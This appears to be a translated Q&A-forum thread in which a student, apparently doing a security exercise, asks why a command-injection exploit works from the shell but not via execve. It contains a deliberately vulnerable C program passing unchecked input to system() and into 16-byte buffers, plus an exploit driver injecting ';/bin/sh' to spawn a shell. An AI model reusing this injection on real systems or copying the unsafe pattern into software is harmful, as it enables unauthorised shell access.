【问题标题】:more than one command for system call in linuxlinux中系统调用的多个命令
【发布时间】:2014-11-08 01:18:47
【问题描述】:

我正在尝试执行具有以下内容的程序(比如 target.c)

void foo(char * arg)
{
    char cmd[16];
    char par[16]; 
    char * p;
    strcpy(cmd, "ls --color -l ");
    strcpy(par, arg);
    printf("You can use \"%s %s\" to list the files in dir \"%s\"!\n",cmd, par, par);
    p = (char*)malloc(strlen(cmd) + strlen(par) + 2);
    strcpy(p, cmd);
    strcat(p, " ");
    strcat(p, par);        
    system(p);
}
int main(int argc, char ** argv)
{         
  int i;
  char test[256];
  if (argc > 1)
      foo(argv[1]);
  else
      printf("usage: %s dir\n", argv[0]);
  return 0;
  foo(test);
};

现在我正在尝试通过从另一个程序调用它来获取 shell(从下面显示的另一个程序调用很重要:

int main(int argc, char **argv)
{
    char * arrv[] = {NULL};
    char  *payload;
    int i; int j;
    char * argo[] = {"../targets/target1","sdknsd",NULL};
    strcpy(payload,"sd;/bin/sh");
    argo[1] = payload;
    i=fork();
    if(i == 0)
    {
        execve("../targets/target1" ,argo, arrv );
        exit(1);
    }
    else if(i == -1)
    {
        perror("fork()");
    }
}

我的问题是当我尝试执行目标并提供命令行参数时; /bin/sh 然后我得到 shell,但在从 execve 调用的情况下没有。 任何帮助将不胜感激

好的,这是输出:

[hvalayap@localhost targets]$ ./target1 ds;/bin/sh 
ls: ds: No such file or directory
sh-2.05$

上述程序将用户输入字符串附加到 ls 上并将其传递给系统,因此 system(ls ds;/bin/sh " 给了我 shell

但是当我尝试对另一个程序(第二个程序)的 execve 执行相同操作时,它不起作用 说找不到“ds”目录

【问题讨论】:

  • 我尝试在参数之间使用 &&(如另一篇文章中所建议的那样),但它仍然无法正常工作!我很抱歉格式错误!
  • 我也很抱歉。我认为您需要更清楚地了解您遇到的错误。尝试运行程序时能否粘贴输出以及如何运行?
  • 感谢您的回复!我已经更新了输出,我真的很抱歉,因为我必须尽快完成!完成此任务后,我将重新格式化
  • 好吧,不用更仔细地查看代码而只关注输出,您是否在该路径中有一个名为“ds”的文件或目录?如果不是,你想通过使用参数 "ds;/bin/sh" 调用你的程序来实现什么?你是代码的作者吗?
  • 谢谢大家的回复。我必须利用函数 foo 中的漏洞。目的是得到一个外壳。由于 foo 接受用户输入并传递给 system(),因此我试图传递一个随机字符串 (ds),后跟“; /bin/sh” 我现在已经解决了问题,我刚刚编写了一个 shell 脚本,将参数传递给C 文件

标签: linux command-line-arguments system-calls execve


【解决方案1】:

非常仔细地查看您的代码。 char *payload 在堆栈上,然后您在此地址 strcpy,因此您会覆盖堆栈上的局部变量。您没有为此指针分配内存(例如 malloc 或使用本地静态缓冲区)。如果用户输入的字符串更长(比如 255 个符号),你会得到 Segmentation fault 错误。

顺便说一句:为什么不使用 snprintf 而不是 strcpy?我想更安全。

【讨论】:

  • 感谢您的回复。我现在意识到这是一个多么大的错误。并同意你对 sprintf 的建议
猜你喜欢
  • 2021-01-22
  • 2013-02-22
  • 2011-09-24
  • 2014-10-10
  • 2013-01-06
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2018-05-02
相关资源
最近更新 更多